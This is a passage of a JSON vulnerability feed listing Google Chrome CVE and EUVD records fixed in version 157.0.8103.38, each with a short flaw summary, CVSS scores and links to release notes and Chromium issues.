Medium)","published_time":"2026-11-03T20:42:48","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566683019"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121195","summary":"Incorrect authorization in TrustedTypes in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571784617"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:28","euvd":{"id":"EUVD-2026-116368","description":"Incorrect authorization in TrustedTypes in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:03","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571784617"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121196","summary":"Privilege elevation in Mobile in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/505177525"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:28","euvd":{"id":"EUVD-2026-116453","description":"Privilege elevation in Mobile in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:41","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/505177525"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121197","summary":"Out of bounds read in ANGLE in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566398391"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:28","euvd":{"id":"EUVD-2026-116506","description":"Out of bounds read in ANGLE in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:23","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566398391"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121198","summary":"Confused deputy in WebUI in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563340726"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:28","euvd":{"id":"EUVD-2026-116351","description":"Confused deputy in WebUI in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:59","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563340726"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121199","summary":"Missing authorization in Chromoting in Google Chrome on on Mac prior to 157.0.8103.38 allowed a local attacker to obtain sensitive information via a local program. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/502023614"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:28","euvd":{"id":"EUVD-2026-116451","description":"Missing authorization in Chromoting in Google Chrome on on Mac prior to 157.0.8103.38 allowed a local attacker to obtain sensitive information via a local program. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:40","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/502023614"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121200","summary":"Incorrect reference resolution in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/528485835"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:28","euvd":{"id":"EUVD-2026-116462","description":"Incorrect reference resolution in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:43","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/528485835"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121184","summary":"Out of bounds read in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565681451"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:27","euvd":{"id":"EUVD-2026-116291","description":"Out of bounds read in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:48","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565681451"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121185","summary":"Use after free in PictureInPicture in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565681453"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:27","euvd":{"id":"EUVD-2026-116517","description":"Use after free in PictureInPicture in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:25","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565681453"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121186","summary":"UI misrepresentation in Passwords in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568978733"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:27","euvd":{"id":"EUVD-2026-116302","description":"UI misrepresentation in Passwords in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:50","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568978733"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121187","summary":"Observable discrepancy in Paint in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563359033"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:27","euvd":{"id":"EUVD-2026-116287","description":"Observable discrepancy in Paint in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:47","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563359033"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121188","summary":"Use after free in PerformanceAPIs in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566506819"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:27","euvd":{"id":"EUVD-2026-116522","description":"Use after free in PerformanceAPIs in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:26","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566506819"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121189","summary":"Use after free in Browser in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/555547989"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:27","euvd":{"id":"EUVD-2026-116340","description":"Use after free in Browser in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:57","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/555547989"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121190","summary":"UI misrepresentation in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted Chrome extension. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/514078071"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:27","euvd":{"id":"EUVD-2026-116322","description":"UI misrepresentation in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted Chrome extension. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:54","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/514078071"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121193","summary":"Incorrect authorization in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/514542988"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:27","euvd":{"id":"EUVD-2026-116459","description":"Incorrect authorization in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:42","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/514542988"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121177","summary":"UI misrepresentation in PageInfo in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/514077956"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:26","euvd":{"id":"EUVD-2026-116458","description":"UI misrepresentation in PageInfo in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:42","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/514077956"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121178","summary":"Use after free in Aura in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570029317"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:26","euvd":{"id":"EUVD-2026-116398","description":"Use after free in Aura in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:30","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570029317"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121179","summary":"Use after free in PDFium in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567936263"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:26","euvd":{"id":"EUVD-2026-116526","description":"Use after free in PDFium in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:27","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567936263"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121180","summary":"Buffer overflow in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567936265"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:26","euvd":{"id":"EUVD-2026-116527","description":"Buffer overflow in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:27","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567936265"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121181","summary":"Use after free in Editing in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567936269"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:26","euvd":{"id":"EUVD-2026-116386","description":"Use after free in Editing in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:27","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567936269"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121182","summary":"Use after free in DOM in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/576169244"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:26","euvd":{"id":"EUVD-2026-116422","description":"Use after free in DOM in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:34","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/576169244"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121183","summary":"Incorrect authorization in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/550245671"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:26","euvd":{"id":"EUVD-2026-116468","description":"Incorrect authorization in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:44","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/550245671"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121169","summary":"Missing authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569965757"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:25","euvd":{"id":"EUVD-2026-116366","description":"Missing authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:02","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569965757"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121170","summary":"Improper resource control in WebCodecs in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553309390"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:25","euvd":{"id":"EUVD-2026-116476","description":"Improper resource control in WebCodecs in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:45","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553309390"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121171","summary":"Confused deputy in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562238690"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:25","euvd":{"id":"EUVD-2026-116483","description":"Confused deputy in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:47","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562238690"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121172","summary":"Incorrect authorization in Isolated in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553270515"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:25","euvd":{"id":"EUVD-2026-116338","description":"Incorrect authorization in Isolated in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:57","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553270515"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121173","summary":"Uninitialized resource in WebGL in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/550489336"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:25","euvd":{"id":"EUVD-2026-116511","description":"Uninitialized resource in WebGL in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:24","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/550489336"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121174","summary":"Missing authorization in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/496008447"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:25","euvd":{"id":"EUVD-2026-116508","description":"Missing authorization in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:23","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/496008447"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121175","summary":"Improper resource exposure in ORB in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565505280"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:25","euvd":{"id":"EUVD-2026-116357","description":"Improper resource exposure in ORB in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass site isolation via a crafted HTML page. (Chromium security severity: 